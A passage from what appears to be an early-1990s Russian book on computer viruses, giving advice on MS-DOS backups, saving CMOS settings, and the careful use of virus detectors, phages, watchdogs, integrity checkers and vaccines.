конец, в виде воды, которую забыли на ночь закрыть на верхнем эта-
же. Пользователь, хранящий в компьютере ценную информацию, должен
быть всегда настороже и как известный герой Ю.Семенова иметь "от-
ходной вариант" заранее. Единственным надежным методом защиты цен-
ной информации от превратностей судьбы является архивирование. При
наличии ежедневных копий максимум, что может сделать вирус, это
уничтожить результаты последнего дня вашей работы.
Состояние человека, который в одну секунду потерял содержимое
винчестера трудно описать словами. Только что машина работала, все
файлы были на месте. А сейчас информация, на создание которой бы-
ло потрачено столько труда, исчезла и резервной копии вообще нет.
Это настоящее крушение и по сравнению с ним ситуация, приведенная
в эпиграфе, † просто пустяк. И винить, кроме самого себя, в ней
некого. А ведь достаточно было потратить полчаса, чтобы все было
иначе. Но поздно.
Поэтому создание архива это далеко не та вещь, которую можно от-
ложить на потом. В сущности, это такая же часть работы пользовате-
ля, как программирование или ведение базы данных. Однако если по
вопросам программирования или базам данных написаны горы литерату-
ры, то по вопросам архивирования практически нет и каждый пользо-
ватель создает собственную систему. Часто этой системой является
отсутствие таковой. Ниже приводятся некоторые рекомендации, осно-
ванные на личном (и приобретенном достаточно дорогой ценой) опыте
автора.

10.3.1. Используйте программы резервирования FAT и главного
каталога в AUTOEXEC.BAT

"Посмотрите! Вот он без страховки идет"
В.Высоцкий

Поскольку FAT и главный каталог являются наиболее уязвимыми уп-
равляющими блоками MS DOS необходимо предпринимать меры по их до-
полнительному резервированию. Такую возможность обеспечивает, в
частности, программа Image из версии 5 утилит П.Нортона, вызов ко-
торой следует вставить в AUTOEXEC.BAT. Наряду с Image можно ис-
пользовать более старую программу Mirror, входящую в пакет PC
Shell. Она записывает копии указанных секторов в конец винчестера.
Резервирование MBR, бутсектора, FAT и каталогов важно не только
в плане защиты от вирусов, но и как метод страховки на случай не-
предвиденного стечения обстоятельств или чьих-то (в том числе, и
собственных) действий. Периодически рекомендуется выгружать файлы,
создаваемые этими утилитами на специальную дискету из "горячей ко-
робки" (см. ниже). Это особенно важно, если при сжатии диска ути-
литой Norton Speed Disk задан режим перенесения всех каталогов в
начало логического диска.

10.3.2. Используйте систему "неделя-месяц-год"

Если имеется возможность, то желательно иметь несколько комплек-
тов дискет для архива винчестера и вести циклическую запись на эти
комплекты (например, для трех комплектов можно использовать "клас-
сический" принцип "неделя-месяц-год"). В этом случае различают
главный архив, в котором хранится полный объем используемой инфор-
мации и программного обеспечения, и текущие архивы, в которые за-
носятся только последние программные продукты и файлы. Текущих ар-
хивов может быть несколько, в зависимости от периодичности их об-
новления. Главный архив целесообразно обновлять примерно раз в ме-
сяц, а текущие архивы † по крайней мере раз в неделю и раз в неде-
лю.
Для создания главного архива рекомендуется использовать програм-
му FastBack Plus (версию 2.1 или более позднюю). Она позволяет вы-
грузить 20М винчестер на 35 дискет по 360K или 12 дискет по 1.2M
примерно за 20 мин. Следует отметить, что если на машине установ-
лен дисковод 1.2M, то использование дискет 360K для создания архи-
ва неоправданно. Рекомендуется использовать как минимум формат
730K. Однако по возможности используйте дискеты 1.2M, поскольку в
этом случае создание архива выполняется значительно проще и быст-
рее, чем на дискетах 730K. С учетом отсутствия на большинстве оте-
чественных машин стриммеров, рекомендуемый размер раздела винчес-
тера должен соответствовать определенному количеству коробок дис-
кет архива. Например, раздел 20M очень удобен при создании архива
на дискетах 1.2M, поскольку 12-14 дискет помещаются в одну коробку
и неудобен при создании архива на дискетах 730K (требуется пример-
но 18 дискет). После создания главного архива рекомендуется про-
вести оптимизацию винчестера, например, с помощью Norton Speed
Disk из 5 версии утилит Нортона.
Для создания недельного архива рекомендуется использовать архи-
ватор PKZIP. При этом каждый архив в главном каталоге диска реко-
мендуется сворачивать в отдельный ZIP файл. Если размер ZIP файла
на дискете превышает размер дискеты, то его можно разбить на от-
дельные фрагменты утилитами SPLITB (СП 2-6), а затем записать на
несколько дискет. При нехватке дискет в недельный архив следует
включать только каталоги, измененные за прошедшую неделю.
И, наконец, ежедневный архив включает все тексты, измененные за
рабочий день. Выключать компьютер, не сбросив измененные тексты на
дискету, не рекомендуется. Следует помнить, что винчестеры портят-
ся не только от вирусов. Вероятность того, что уйдя с работы се-
годня, завтра вы обнаружите, что информация на винчестере не чита-
ется, не равна нулю даже для самых лучших винчестеров, а тем более
для наиболее дешевых моделей, попадающих в нашу страну.
Если какой-то каталог на винчестере используется лишь эпизоди-
чески или только определенным пользователем, то после каждого ис-
пользования желательно все программы в нем сворачивать архиватором
типа PKARC, поскольку заразить программу, находящуюся в архиве,
практически невозможно.
Очень часто процесс архивирования сводят к выгрузке с винчестера
всех файлов. На самом деле архивированию подлежат и системные бло-
ки, в частности MBR и бутсектор. Последние следует cкопировать на
дискету с помощью программы DiskTool 5 версии утилит П.Нортона.
Кроме того, следует копировать на дискету FAT и главный каталог с
помощью утилиты Mirror из PC Shell или Image из 5 версии утилит
П.Нортона. Эту операцию следует выполнять не реже одного раза в
неделю, а если предполагается использование каких-то новых про-
грамм, то при загрузке ЭВМ. Как и архиваторы, программы резервиро-
вания FAT и каталогов важны не только в плане защиты от вирусов,
но и как метод страховки на случай непредвиденного стечения обсто-
ятельств или чьих-то (в том числе, и собственных) действий. В осо-
бенности они важны для программистов, работающих на ассемблере,
которые при отладке часто находятся буквально в шаге от разрушения
файловой системы.
Поскольку дискеты являются в наших условиях дефицитом, то при
архивировании информации ее целесообразно сжимать архиватором. Для
дискет DS/DD наиболее подходящим форматом для записи архивов по-
видимому является формат 800K, который достаточно надежен и позво-
ляет вдвое уменьшить количество используемых дискет. Наиболее
удобными архиваторами являются FASTBACK PLUS, PKZIP и LHARC.
В условиях дефицита дискет при использовании PKZIP и LHARC воз-
никает дополнительная проблема оптимальной комбинации архивов на
дискетах, чтобы более полно использовать емкость каждой дискеты.
Для этой цели можно дополнительно упаковывать полученные архивы
утилитой BACKUP MS DOS или более удобной и имеющей графический ин-
терфейс утилитой PC-BACKUP из пакета PC SHELL (рекомендуется ис-
пользовать версии, начиная с 5.5). Если дискет не хватает для соз-
дания полной копии винчестера, то следует исключить из архивирова-
ния прежде всего большие пакеты (трансляторы, операционная система
и т.д.), для которых имеются дистрибутивные копии.

10.3.3. В защиту "бумажной технологии"

"То, что вы храните достаточно
долго, можно выбросить. Как
только Вы что-то выбросите,
оно Вам понадобится"
Из законов Мерфи

Наряду с архивом на дискетах, следует вести часть архива на бу-
маге. Несмотря на отдельные заявления о наступлении эры "безбумаж-
ной технологии", роль этого старого доброго способа хранения ин-
формации сохраняется. Бумага все еще остается дешевым, надежным и
удобным методом долговременного хранения информации, существенно
превосходя по надежности магнитные носители, а по удобству анализа
некоторых видов информации (например, дампов) - просмотр файлов на
дисплее. Кроме того, наличие рабочего журнала является одним из
показателей уровня квалификации программиста. Систематическое ве-
дение журнала позволяет быстрее и полнее осваивать новые системы и
избегать уже допущенных ранее ошибок.
Необходимо систематически подшивать в специальную папку копии
оглавлений, последние копии AUTOEXEC.BAT, CONFIG.SYS, список сбой-
ных секторов винчестера (если таковые имеются), распечатки всех
оглавлений диска, дампы бутсектора и FAT, замечания по работе ма-
шины, а также протоколы работы программы-ревизора. Кроме того,
справочник по архиву дискет также целесообразно иметь в распеча-
танном виде, поскольку если с машиной что-то случится, считать его
с винчестера может оказаться достаточно трудной задачей. Полезно,
хотя и несколько трудоемко, вести отдельный архив распечаток ис-
ходных текстов разрабатываемых программ, в который подшивать все
распечатки версий программ и другую аналогичную информацию. Нали-
чие такого архива создает ряд удобств и является дополнительной
гарантией сохранности информации.

10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не
поздно

"Столб дыма уносит новости богу..."
Теофиль Готье

Получив машину типа AT, сразу же запишите параметры CMOS, уста-
новленные с помощью процедуры SETUP. Для этого достаточно нажать
комбинацию клавиш Ctrl-Alt-Esc. При этом на экран выдается таблица
параметров, записанных в CMOS-памяти, из которых наиболее важным
является тип установленного винчестера. Эта таблица невелика и ее
содержимое легко переписать на обычную самоклеящуюся этикетку для
дискеты, которую необходимо сразу же прикрепить к лицевой стороне
корпуса компьютера. После этого обязательно распечатайте содержи-
мое CMOS на принтере. Это проще всего сделать с помощью утилиты
SYSINFO, из версии 5 утилит П.Нортона. Один экземпляр распечатки
рекомендуется наклеить на папку с планом восстановления винчестера
(см. ниже), а другой † на последнюю страницу инструкции к данной
ЭВМ. Кроме того необходимо записать содержимое CMOS в файл с по-
мощью программы DiskTool из 5 версии утилит П.Нортона, СMOSER (СП
9-90) или SAVECMOS А.Водяника (СП 2-3). Для некоторых типов BIOS
содержимое отдельных байтов CMOS не выдается на экран, однако важ-
но для правильной работы машины.
Эти меры связаны с тем, что рано или поздно элемент, обеспечива-
ющий питание CMOS-памяти, выйдет из строя. Кроме того, известно
неcколько троянских программ, которые при запуске портят CMOS.
Иногда содержимое CMOS уничтожается из-за ошибки в "нормальной"
программе. Хотя элемент питания рассчитан на несколько лет, опыт
показывает, что средняя продолжительность жизни CMOS обычно не
превышает нескольких месяцев. Если содержимое CMOS потеряно, то
при отсутствии точных данных о типе установленного винчестера воз-
никает ряд очень неприятных проблем, когда значение некоторых па-
раметров приходится устанавливать экспериментально. Это особенно
трудно, когда на машине установлен нестандартный (например, трех-
дюймовый) винчестер.

10.3.5. Переписывая программы, различайте эталонную и рабочую
копию

Дистрибутивные эталонные версии рекомендуется хранить отдельно в
архивированном виде. Если дисковод обеспечивает формат 720К, то на
одну дискету обычно входит три архивных "образа" 360К дискет. Но-
вая версия архиватора PKARC (PKZIP) позволяет рекурсивно сворачи-
вать подкаталоги, тем самым делая рассматриваемый вид хранения бо-
лее привлекательным. При работе с Norton Commander рекомендуется
определить для файлов с расширениями ZIP, ARC, и LZH вызов архива-
тора в режиме выдачи на экран справки с архива или вызов диалого-
вой оболочки для соответствующего архиватора (SHEZ, NARC и др.).
Передавая программы, копируйте дистрибутивные, а не рабочие
копии. В нынешних условиях это долг вежливости по отношению к то-
му, кому переписывается программное обеспечение. Храните справки с
дистрибутивной копии для сравнения.
Переписывая программы, старайтесь копировать дистрибутивные вер-
сии, а не рабочие копии, хранящиеся на винчестере. Обязательно от-
печатайте справку с архива с контрольными суммами.
Очень полезно вести каталог используемых программ на dBase или
какой-то аналогичной системе. За счет более точной информации о
состоянии архива можно значительно уменьшить объем еженедельного
архивирования и, тем самым, сэкономить время и силы.

10.4. Методика применения средств защиты

Методика применения средств защиты предполагает их наличие и же-
лание ими пользоваться. К сожалению, часто можно констатировать
отсутствие как первого, так и второго из этих условий. Спектр от-
ношения пользователей к антивирусным программам колеблется от пол-
ного равнодушия до страстного коллекционирования. Однако наличие
антивирусных программ является только необходимым условием. Важно
не только иметь последние версии антивирусных программ, но и сис-
тематически ими пользоваться. К новым антивирусным средствам, по-
лученным "обычным" путем следует относиться с такой же осторож-
ностью, как и ко всем остальным программам. Антивирусные средства,
не снабженные средствами самоконтроля целостности, могут оказаться
зараженными. Кроме того, изредка встречаются троянские версии ан-
тивирусных средств. Ранее уже упоминались троянские версии сторожа
FluShot и полифага Aidstest.

10.4.1. Типичные ошибки

Как уже указывалось, самой грубой и распространенной ошибкой при
использовании персональных компьютеров является отсутствие надле-
жащей системы архивирования информации. Никакие средства защиты
не заменят надлежащей организации ведения архивов. Другой грубой
ошибкой является запуск полученной программы без ее предваритель-
ного анализа на зараженность и без установки максимального режима
защиты винчестера с помощью ADM и запуска резидентного сторожа.
Запуск программы является в современных условиях далеко небезопас-
ной операцией и рисковать содержимым винчестера из-за чрезмерного
любопытства, наверное, не стоит. Следует также обратить внимание
на ситуацию, характерную для школ и вузов. Поскольку у студентов
обычно мало дискет, то им приходится запускать отдельные программы
(например, игровые) с дискет своих товарищей. Эта ситуация особен-
но характерна для вузовских "залов персональных ЭВМ". При этом мо-
жет произойти заражение одной из программ или бутсектора, если со-
ответствующий компьютер оказался зараженным. Поэтому следует всег-
да защищать дискеты от записи, если они используются для считыва-
ния программ на нескольких компьютерах. Снимать защиту от записи
стоит только на время, необходимое для обновления содержимого дис-
кеты. Новые программы по возможности следует записывать на новые
дискеты, не смешивая их сразу со старыми, проверенными программа-
ми.
При неправильном или неумелом использовании антивирусные про-
граммы могут сами в ряде случаев становиться источником проблем.
Имеется несколько типичных ошибок при применении антивирусных
средств. Наиболее распространенной из них является запуск антиви-
русных программ (чаще всего, фагов) на зараженном резидентным ви-
русом компьютере. Конечно, сейчас создатели большинства качествен-
ных антивирусных средств предусматривают такую возможность и ана-
лизируют память компьютера перед началом работы, однако такая ме-
тодика эффективна, в основном, против уже известных вирусов и мо-
жет не сработать на каком-то новом. Поэтому следует особо подчерк-
нуть основной "гигиенический" принцип компьютерной вирусологии:

ВСЕ ДЕЙСТВИЯ ПО ИССЛЕДОВАНИЮ "ПОДОЗРИТЕЛЬНОГО" ИЛИ ЗАРАЖЕННОГО
КОМПЬЮТЕРА СЛЕДУЕТ ВЫПОЛНЯТЬ ТОЛЬКО НА ПРЕДВАРИТЕЛЬНО
ЗАГРУЖЕННОЙ С ЗАЩИЩЕННОЙ ОТ ЗАПИСИ ЭТАЛОННОЙ ОПЕРАЦИОННОЙ
СИСТЕМЫ И ИСПОЛЬЗУЯ ТОЛЬКО ПРОГРАММЫ, ХРАНЯЩИЕСЯ НА ЗАЩИЩЕННЫХ
ОТ ЗАПИСИ ДИСКЕТАХ.

Выполнение действий по анализу и восстановлению на зараженной
операционной системе является грубой ошибкой и может иметь катаст-
рофические последствия. В частности, при этом могут быть заражены
остальные, еще незараженные, программы. Например, при резидентном
вирусе RCE-1800 (Dark Avenger) запуск фага, не рассчитанного на
данный вирус, приведет к заражению всех проверявшихся фагом загру-
зочных модулей, поскольку вирус RCE-1800 перехватывает прерывание
по открытию и чтению файлов и при работе фага будет заражать каж-
дый проверяемый фагом файл.
Второй типичной ошибкой является выполнение перезагрузки системы
при наличии "защелкнутой" дискеты в дисководе А. При этом BIOS де-
лает попытку загрузиться именно с этой дискеты, а не с винчестера
и, в результате, если дискета заражена бутовым вирусом, происходит
заражение винчестера.
Третьей распространенной ошибкой является запуск "батареи" фа-
гов. Очевидно, что прогон десяти фагов, предназначенных для вируса
С-648, не излечит ни одного файла, зараженного, скажем, вирусом
RСЕ-2890. В данном случае следует придерживаться принципа "лучше
меньше, да лучше" и запускать средства защиты, предварительно
определив, хотя бы ориентировочно, с каким типом вируса пришлось
столкнуться. Обычно для определения типа вируса достаточно запус-
тить батарею полидетекторов (которая может включать и фаги, на-
строенные на режим детектирования), а затем просмотреть дамп (с
помощью PCTools или Norton Utilities) одной или нескольких зара-
женных программ.
Четвертой типичной ошибкой является чрезмерная доверчивость к
разработчикам антивирусных средств. Хотя разработкой антивирусных
средств обычно занимаются высококвалифицированные программисты, не
следует думать, что созданные ими программы безупречны. Как и вся-
кие программы, они содержат ошибки, причем ситуация усугубляется
тем, что те их части, которые относятся к самым новым вирусам и
тем самым представляют наибольшую ценность, часто бывают написаны
наспех, в условиях острейшего дефицита времени. Поэтому следует
считать, что на вашей системе выполняется отладка этих новых час-
тей, которая как и всякая отладка, может иметь негативные послед-
ствия как для отдельных файлов, так и для файловой системы в це-
лом. Если у вас нет свежего архива, то запуск любой антивирусной
программы на всю файловую систему становится потенциально опасной
операцией. Это относится прежде всего к фагам, выполняющим "хирур-
гическое вмешательство" в программы. Известны случаи, когда фаг
принимал один вирус за другой и все "вылеченные" программы оказы-
вались неработоспособными.

10.4.2. Методика применения детекторов

Детекторы, рассчитанные на конкретные вирусы, также можно рас-
сматривать как специализированные программы-ревизоры, однако каче-
ство обеспечиваемого ими анализа вызывает сомнения и они должны
контролироваться другими методами, в частности, с помощью глобаль-
ного контекстного поиска. Следует отметить, что наиболее удобны
детекторы, обнаруживающие не один, а целый ряд распространенных
вирусов (полидетекторы). Имеется два основных типа полидетекторов:
с фиксированным набором сигнатур и переменным набором.
Детекторы с фиксированным набором сигнатур, в общем случае, эф-
фективнее полидетекторов с переменным набором. Обычно такие детек-
торы являются составной частью полифага. Однако имеется и "чистый"
полидетектор † SCAN. Текущая (на момент написания данной работы)
версия полидетектора SCAN детектирует более двухсот вирусов и их
разновидностей (имеется и резидентная версия, проверяющая файлы
при загрузке - SCANRES). Качество детектирования † невысокое (име-
ется много ложных срабатываний). Большинство используемых данным
полидетектором сигнатур приведено в прил.1 и 2.
Среди полидетекторов, входящих в полифаги, следует отметить де-
тектор, встроенный в полифаг TNTVIRUS. В отличие от полифага, яв-
ляющегося коммерческим продуктом, полидетектор входит в распрост-
раняемую бесплатно демонстрационную версию. Эта громоздкая (более
100К) программа имеет неплохой турбоинтерфейс и детектирует, по
данным его авторов (впрочем, вызывающих сомнения) более ста ви-
русов. Качество детектирования следует оценить как весьма среднее
(в большинстве случаев используется обычный контекстный поиск).
Многие из используемых сигнатур приведены в прил.1 и 2. За исклю-
чением интерфейса и количества сигнатур данный полидетектор усту-
пает аналогичным отечественным программам по количеству ложных
срабатываний и качеству распознавания наиболее распространенных в
нашей стране вирусов. Из полидетекторов, встроенных в отечествен-
ные полифаги наиболее интересен режим детектирования, обеспечивае-
мый полифагом Kxx Е.Н.Сусликова и полифагом AV И.Сысоева. Послед-
ний обнаруживает порядка 40 вирусов, являясь при этом самой ма-
ленькой (менее 20К) и быстрой программой такого рода. Как уже
указывалось, программы этого типа представляют наибольший интерес
как средство входного контроля нового программного обеспечения, в
особенности, поступающего без контрольных сумм.
Второй тип полидетекторов более интересен, поскольку фактически
представляет собой системные программы общего применения, которые
можно использовать не только для поиска вирусов, но и во всех
случаях, когда нужно найти все файлы, содержащие хотя бы одну из
заданной группы текстовых строк (ключевых слов). Набор строк для
поиска обычно задается в виде специального файла. Этот тип полиде-
текторов наиболее полезен при обнаружении какого-то нового, еще
неизвестного, вируса. Первое, что нужно сделать в этом случае -
это определить сигнатуру для поиска. Надежнее всего использовать
для этой цели трассировку зараженной программы с помощью отладчи-
ка. Определив сигнатуру, можно быстро выявить все зараженные про-
граммы, и тем самым, прекратить дальнейшее размножение вируса.
Имеется ряд программ этого типа (VL, VIRSCAN, NEADET). Например,
программа VL (прил.5) обеспечивает поиск в поддереве или файле до
50 строк длиной до 15 символов. Строки задаются пользователем в
текстовом или 16-ричном формате. Дамп программы, в которой найдена
строка, можно просмотреть на экране. Программа NEADET, написанная
И.В.Суворовым, позволяет использовать в качестве входных данных
приведенные в прил.1-4 таблицы и специальный алгоритм быстрого по-
иска строк. Дамп программы, в которой найдена строка, можно про-
смотреть на экране.

10.4.2.1. Использование Norton Utilities и PCTools
как универсальных детекторов вирусов
Как уже указывалось, обеспечиваемая PCTools и Norton Utilities
возможность выполнения контекстного поиска как по отдельным фай-
лам, так и по диску в целом, является полезным и надежным инстру-
ментом выявления зараженных файлов. В особенности полезна возмож-
ность выполнения глобального контекстного поиска по диску в целом.
При правильном выборе строки для контекстного поиска этот способ
является хотя и довольно медленным, но исключительно надежным ме-
тодом определения всех зараженных вирусом файлов. Следует отме-
тить, что Norton Utilities выполняет контекстный поиск примерно
вдвое быстрее, чем PCTools.

10.4.2.2. Поиск текстовых сигнатур
При поиске Т-сигнатур бывает полезна программа TS из версии 4.5
пакета утилит П.Нортона. Она позволяет искать заданный текст в
файле или по всему диску, например:
TS C:\*.COM vacsina /S /LOG
TS C:\*.EXE eddie /S /LOG
В программе можно использовать ряд ключей:
/LOG - печатать или выводить результаты в файл;
/S - просматривать также и подкаталоги;
/T - выводить только окончательные результаты;
/D - искать по всему диску (отменяет /S);
/E - искать по стертым файлам;
/CS - различать малые и большие буквы.

10.4.3. Методика применения фагов

Следует отметить, что программы-фаги, обеспечивающие возможность
восстановления исходного состояния программы, зараженной вирусом,
хотя и являются наиболее популярным типом антивирусных программ,
не являются основным средством защиты от вирусов. Наблюдаемое сей-
час повсеместная погоня за последними версиями фагов, не совсем
оправдана. Основные усилия должны быть направлены на предупрежде-
ние заражения (грамм профилактики стоит килограмма лекарств).
Отметим, что программы, которые мы для краткости называем "фага-
ми", по сути представляют собой комбинацию типа "детектор + фаг".
Поэтому при их работе возможны как ошибки, связанные с несовершен-
ством детектора, так и ошибки при "выкусывании" вируса из програм-
мы. Для фага неверное "выкусывание" вируса из зараженной программы
("больной умер на операционном столе") может быть обусловлено как
ложным срабатыванием детектора, так и недостаточным учетом возмож-
ных вариантов заражения программы. При этом фаг уничтожает работо-
способную программу (хотя с этим утверждением можно не соглашать-
ся, но по мнению автора зараженная программа все же лучше, чем ни-
какая). Поэтому, при применении фагов для файловых вирусов целесо-
образно разделять процесс диагностирования и процесс "лечения".
Кроме того, распространяющиеся сейчас комплексные фаги на не-
сколько вирусов (полифаги) являются несколько менее удачной идеей,
чем полидетекторы, поскольку жесткая привязка фага к конкретному
"встроенному" детектору делает его "заложником" качества последне-
го, а отсутствие параметров настройки на вирус - чувствительным к
мутациям вируса, затрагивающим используемую сигнатуру. Единствен-
ным фагом, где была сделана попытка преодолеть этот недостаток,
является полифаг NEATFAG В.В.Пономаренко. В нем фаг на каждый ви-
рус выполнен в виде отдельного загружаемого модуля, что позволяет
добавлять модули, "выкусывающие" новые вирусы отдельно, без пере-
делки уже имеющейся части фага. Однако возможность замены или до-
бавления сигнатур в существующей версии NEATFAG отсутствует.
Процесс дезактивации рекомендуется разделить на ряд этапов c
тем, чтобы не повредить файловую систему во время ее выполнения.
Можно рекомендовать следующие этапы указанного процесса:
загрузиться с защищенной от записи дискеты, используя "холодную"
(кнопкой RESET или выключением питания), а не "теплую" (нажатием
клавиш CTRL-ALT-DEL) перезагрузку;
найти хотя бы одну зараженную программу с помощью батареи детек-
торов;
проверить правильность идентификации типа вируса, визуально про-
смотрев дамп зараженной программы;
составить список зараженных программ и распечатать этот список;
выгрузить зараженные программы на дискету и обработать их фагом;
проанализировать результаты выкусывания;
проверить работоспособность "леченных" программ и выгрузить их.
Если COMMAND.COM заражен, то используйте его размер и дамп для
определения типа вируса. Если нет, то поиск зараженной программы
можно выполнить разными способами, но обязательно перегрузившись с
защищенной дискеты. Если используется программа-ревизор и ведется
архив каталогов файловой системы, то целесообразно воспользоваться
им. Если нет, то проще всего использовать рекомендованную выше ба-
тарею полидетекторов (только перегрузившись с защищенной дискеты
!), с помощью которой возможно удастся определить зараженные или
хотя бы "подозрительные" файлы (некоторые детекторы используют для
этой цели эвристические приемы).
Составьте список зараженных программ с помощью детектора и про-
верьте его полноту глобальным контекстным поиском (см. ниже). Все
зараженные программы выгрузите на дискету, сделайте ее копию и
экспериментируйте только на ней. Если имеется возможность, то вы-
грузите из архива оригинальные копии программ на другую дискету
или на винчестер. После прогона фага опять распечатайте оглавле-
ние, сравните длины зараженного и "вылеченного" файлов и визуально
просмотрите дампы программ. Для тех программ, данные о длинах ко-
торых сохранились (например, в базе данных ревизора) или ориги-
нальные копии которых имеются в архиве, проверьте, правильно ли
восстановлена длина. Если такой возможности нет, то предварительно
проверьте работоспособность "леченной" программы, а только после
этого сгрузите ее обратно на винчестер. Помните, что фаг может за-
портить программу. И наконец, с помощью детектора и глобального
контекстного поиска проверьте полученные результаты: не осталось
ли на диске зараженных программ.
Следует отметить, что предложенные шаги в полном объеме необхо-
димы только при работе с новым, еще недостаточно изученным вирусом
или "самодельным" фагом (например, изготовленным по методике, опи-
санной во второй части данной работы). Для хорошо изученных виру-
сов, для которых существуют достаточно надежные и проверенные фа-
ги, большинство из этих шагов можно опустить.

10.4.4. Методика использования резидентных сторожей

Современные программы-сторожа СHECK21, -D1, -D2, -D3 и др. эф-
фективны против практически всех типов файловых вирусов. Другими
устаревшими, но все еще распространенными сторожами являются
MaceVaccine и ANTI4US2. Возможности этих программ уже не соответ-
ствуют уровню написания современных файловых вирусов, поэтому при-
менять их не рекомендуется. Использование сторожей обязательно при
первых запусках нового программного обеспечения, когда возможно не
только заражение вирусом, но и немедленное срабатывание троянской
компоненты.
Следует отметить, что непрерывные ответы на запросы, выдаваемые
сторожами, не только снижают эффективность работы, но и подрывают
саму обеспечиваемую ими защиту (это относится, прежде всего, к
устаревшим сторожам типа FluShot Plus, MaceVaccine, ANTI4US2).
Частая выдача запросов на разрешение тех или иных действий неиз-
бежно приводит к тому, что пользователь начинает отвечать на них
механически, тем самым сводя на нет обеспечиваемую ими степень за-
щиты. Современные сторожа должны иметь "таблицу свойств" програм-
мы, позволяющую блокировать выдачу запросов на разрешение тех или
иных операций от соответствующих программ. Например, если програм-
ма FORMAT пытается выполнять форматирование диска A, то запрос на
разрешение этого действия следует блокировать.
Степень обеспечиваемой сторожами защиты не стоит переоценивать.
Некоторые типы вирусов обходят сторожей, непосредственно обращаясь
к BIOS или используют сплайсинг для получения управления по преры-
ванию 21. Поэтому их применение должно сочетаться с применением
других средств защиты. Например, при использовании сторожей
VIRBLK, MaceVaccine, ANTI4US2, не контролирующих целостность сис-
темных файлов, в AUTOEXEC.BAT следует включить соответствующую
программу контроля (например, VACINE, СП 1-2).
Следует отметить, что сторожа могут интерферировать с резидент-
ными программами, а также вызывать срабатывание фагов, проверяющих
содержимое оперативной памяти. Последние часто принимают сторожа
за вирусы.

10.4.5. Методика использования ревизоров

Программы-ревизоры должны входить в арсенал каждого пользователя
и регулярно запускаться в каждом сеансе работы с ЭВМ. Существуют
два основных типа программ-ревизоров: пакетные (например, DLI) и
резидентные. Последние выполняют подсчет контрольных сумм "на ле-
ту", т.е. при загрузке программ на выполнение. Несколько устарев-
ший сторож FluShot Plus очень полезен тем, что включает резидент-
ный ревизор, позволяющий "на лету" подсчитывать контрольную сумму
для загружаемых файлов. К сожалению, отдельного резидентного реви-
зора, обеспечивающего подсчет контрольной суммы "на лету", перед
передачей файлу управления, пока нет.
Помимо специальных программ, в качестве ревизоров могут приме-
няться обычные программы сравнения файлов, например входящие в MS
DOS программы FC и COMP. Этот способ полезен для контроля целост-
ности наиболее важных файлов и предполагает наличие переименован-
ной и "хорошо спрятанной" эталонной копии, которую желательно раз-
мещать в защищенном от записи разделе винчестера.
Ревизоры являются единственным средством, позволяющим следить за
целостностью системных файлов и изменениями в используемых катало-
гах. Их использование особенно важно при работе на "персональных
ЭВМ коллективного пользования", которые в СССР сейчас явно преоб-
ладают. В этих условиях важно, чтобы ревизор создавал файл, кото-
рый можно было бы записать на дискету или в собственный каталог, а
затем перед началом следующего сеанса работы, выявить произошедшие
изменения. Такое использование ревизоров должно сочетаться с "то-
тальной" проверкой целостности файлов, которую целесообразно про-
водить централизованно, не реже одного раза в день (например, при
включении ЭВМ), причем протоколы проверки целесообразно периоди-
чески печатать и сохранять в специальной папке.
Следует отметить, что получаемая с помощью ревизоров информация
существенно облегчает ориентировку в лабиринте каталогов и "ново-
введениях" среди трансляторов и используемых утилит. Поэтому их
нельзя рассматривать только в контексте защиты от вирусов - в на-
стоящее время они должны являться рабочим инструментом каждого
уважающего свой труд программиста.

10.4.6. Вакцинирование

"Притворяясь, будто мы попали в расставленную
нам ловушку, мы проявляем поистине утонченную
хитрость, потому что обмануть человека легче
всего тогда, когда он хочет обмануть нас."
Франсуа де Ларошфуко

Как известно, вакцинирование домашних животных и человека, от-
крытое Л.Пастером, является одним из фундаментальных открытий 20
века. Учитывая аналогию между компьютерными и биологическими виру-
сами, следовало бы ожидать соответствующей эффективности "киберне-
тических вакцин", которые изменяют среду функционирования вируса
таким образом, что он теряет способность к размножению. Однако на
сегодняшний день этот тип антивирусных программ особого распрост-
ранения не получил.
В настоящее время используются два основных типа вакцин: осно-
ванные на инактивированном теле вируса и основанные на имитации
действий, обеспечивающих положительный ответ на проверку вирусом в
запускаемой программе инсталлированной в памяти копии. Инактивиро-
ванная вакцина может быть получена из тела вируса гораздо быстрее,
чем написан соответствующий фаг. Поэтому этот тип вакцин можно ре-
комендовать как временную меру после обнаружения какого-то нового
вируса. Недостатком такого подхода является необходимость рабочего
знания языка ассемблера. Первая вакцина, основанная на инактивиро-
ванном вирусе, была разработана Л.И.Обуховым для вируса RCE-1813
(СП 1-2) и применялась в Киеве при борьбе с эпидемией указанного
вируса. Наиболее мощная поливакцина была разработана студентом
КИИГА В.В.Пономаренко (СП 2-7) и получила название NEATVAC. Суще-
ствующая версия NEATVAC обеспечивает защиту от более чем десятка
резидентных вирусов и особенно удобна для вузовских машинных за-
лов, где чаще обычного приходится сталкиваться с зараженными про-
граммами. В то же время вакцины, как и любые дополнительные рези-
дентные программы, не лишены побочных эффектов, которые могут быть
связаны с перехватом прерываний, используемых помимо вируса и ка-
кой-нибудь "нормальной" резидентной программой.

10.4.7. Критерии оценки качества антивирусных программ

Общим критерием оценки любой антивирусной программы является на-
личие самотестирования на заражение и отсутствие ложных срабатыва-
ний на самом себе. Другим важным критерием † выдача более или ме-
нее подробного отчета. В настоящее время это является слабым
местом для большинства как бесплатно распространяемых, так и ком-
мерческих программ. Например для фага такой отчет должен включать
помимо имени файла и типа заражения хотя бы длину файла до и после
выкусывания. Кроме того, в случае обнаружения каких-то аномалий
фаг должен выдавать соответствующию информацию и предупреждающие
сообщения, а не "резать молча".
Наличие качественной документации также является несомненным
преимуществом, поскольку встречается крайне редко. Конечно, наши
программисты, как никто другой, приспособились обходиться без до-
кументации, однако этой их способностью нельзя злоупотреблять.
возможность управления областью поиска (глобальный, в поддереве,
в одном каталоге, в одном файле);
управление суффиксами обрабатываемых файлов;
качество интерфейса
качество диагностических сообщений;
качество выдаваемых сообщений
качество параметризации
качество документации
самотестирование на заражение;
возможность обработки файлов с атрибутами HIDDEN;
качество выдаваемого протокола;
качество документации;
размер в К;
скорость поиска.
оригинальность оформления (видео и звуковое сопровождение).

10.4.7.1. Критерии оценки качества детекторов
Если попытаться перечислить критерии оценки качества детектора в
порядке убывания их важности то получится следующий список:
проверка оперативной памяти и нейтрализация резидентных частей
вируса;
количество одновременно детектируемых вирусов;
диагностирование многократно зараженных разнотипными вирусами
файлов;
степень параметризации, совместимость по параметрам со SCAN;
удобство ввода новых сигнатур для поиска;
